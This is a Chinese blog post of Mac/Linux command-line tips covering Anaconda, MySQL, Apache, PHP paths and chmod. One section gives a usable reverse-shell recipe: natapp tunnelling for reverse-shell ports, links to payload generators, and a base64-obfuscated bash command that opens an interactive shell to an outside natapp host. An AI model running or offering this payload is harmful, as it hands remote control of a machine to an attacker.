前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Mac/Linux平台命令行的大部分问题解决办法.包括:切换编译环境、mysql启动命令、查看mysql位置、Apache服务启动、,php(oracle)的安装设置环境变量,zsh:权限不够解决办法

Mac/Linux平台命令行的大部分问题解决办法.包括:切换编译环境、mysql启动命令、查看mysql位置、Apache服务启动、,php(oracle)的安装设置环境变量,zsh:权限不够解决办法

作者头像
wjl110
发布2022-03-24 14:48:24
8210
发布2022-03-24 14:48:24
举报

切换到anaconda的大环境使用python

把wjl更换为你的用户名即可

代码语言:javascript
复制
     . /Users/wjl/opt/anaconda3/bin/activate && conda activate /Users/wjl/opt/anaconda3;
base代表切换成功
base代表切换成功

切换pip 2.7环境,安装python2依赖

代码语言:javascript
复制
/opt/local/Library/Frameworks/Python.framework/Versions/2.7/bin/pip   install   模块名
pip2安装time模块
pip2安装time模块

vps端口映射(适用于反弹shell端口)的使用

百度下载natapp

代码语言:javascript
复制
cd 到下载到的文件夹
chmox +x ./natapp
./natapp -authtoken=输入你的token
./natapp
./natapp

mysql 的启动命令

代码语言:javascript
复制
#进入目标文件夹
cd /usr/local/mysql/bin/

#运行mysql
./mysql -u root -p

#你的id和password
id:root
password:xxx

查看mysql状态

代码语言:javascript
复制
ps -ef|grep mysql

有效载荷生成器:

在线网址

1:https://www.revshells.com/

2:https://www.jackson-t.ca/runtime-exec-payloads.html(暂时无法访问请访问链接1)

或者自己做一个有效攻击负载bash

把bash到1的值放入base64编码网站/我用的burpsuite(decode)——编码/etc/tcp/vps的ip/port端口 再加上如下外壳

代码语言:javascript
复制
将编好的base64放入********

"bash -c {echo,********}|{base64,-d}|{bash,-i}"

例:

代码语言:javascript
复制
"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9zZXJ2ZXIubmF0YXBwZnJlZS5jYy8zODY4NSAwPiYx}|{base64,-d}|{bash,-i}"

oracle的查看(docker)

代码语言:javascript
复制
打开docker后
进入命令行
sqlplus /nolog

相对路径

2)通过相对路径登陆(推荐!!) 首先查看查看PATH

代码语言:javascript
复制
$ echo $PATH

然后设置PATH并保存在~/.bash_profile中

代码语言:javascript
复制
输入echo “export PATH=$PATH:/usr/local/mysql/bin” 
>> ~/.bash_profile

最后重启终端后再查看一下PATH

mac 里面有两个php环境 、Mac自带7版本、 PHPstudy 是2(安装的) 版本

但是本人实际尝试PHP小皮面板(phpstudy没有Mac版的)后开启环境并没有什么用

mac 启动命令: 首先切换到root用户

代码语言:javascript
复制
sudo -i

接着查看80端口是否被暂用

代码语言:javascript
复制
lsof

查看apache 版本

代码语言:javascript
复制
httpd -v

开启apache

代码语言:javascript
复制
apachectl start

重启apache

代码语言:javascript
复制
apachectl restart

关闭apache

代码语言:javascript
复制
apachectl stop

运行 127.0.0.1,显示

代码语言:javascript
复制
it works

表示apache开启成功

进入php默认文件夹

配置文件夹:

代码语言:javascript
复制
/etc/apache2/httpd.conf
#修改相关配置可以更改默认web目录更快访问

config文件php 默认文件夹

代码语言:javascript
复制
DocumentRoot/Library/WebServer/Documents/

改默认文件夹把wjl改为你的用户名

代码语言:javascript
复制
"/Users/wjl/web"

当你用phpstudy 启动又打开了自己的mysql、php服务时

两者(Mac自带和phpstudy)只能存在一个php和 mysql

运行.sh时出现zsh: 权限不够解决方法:

代码语言:javascript
复制
#给可执行文件赋予读写权限
chomd 777  *.sh
chmod u+x  *.sh
本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 切换到anaconda的大环境使用python
    • 把wjl更换为你的用户名即可
      • 切换pip 2.7环境,安装python2依赖
      • vps端口映射(适用于反弹shell端口)的使用
      • mysql 的启动命令
      • 查看mysql状态
      • 有效载荷生成器:
        • 在线网址
          • 1:https://www.revshells.com/
          • 2:https://www.jackson-t.ca/runtime-exec-payloads.html(暂时无法访问请访问链接1)
          • 或者自己做一个有效攻击负载bash
          • 进入php默认文件夹
      • oracle的查看(docker)
      • 相对路径
      • mac 里面有两个php环境 、Mac自带7版本、 PHPstudy 是2(安装的) 版本
      • 当你用phpstudy 启动又打开了自己的mysql、php服务时
      • 运行.sh时出现zsh: 权限不够解决方法:
      相关产品与服务
      云数据库 SQL Server
      腾讯云数据库 SQL Server (TencentDB for SQL Server)是业界最常用的商用数据库之一,对基于 Windows 架构的应用程序具有完美的支持。TencentDB for SQL Server 拥有微软正版授权,可持续为用户提供最新的功能,避免未授权使用软件的风险。具有即开即用、稳定可靠、安全运行、弹性扩缩等特点。
      领券
      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档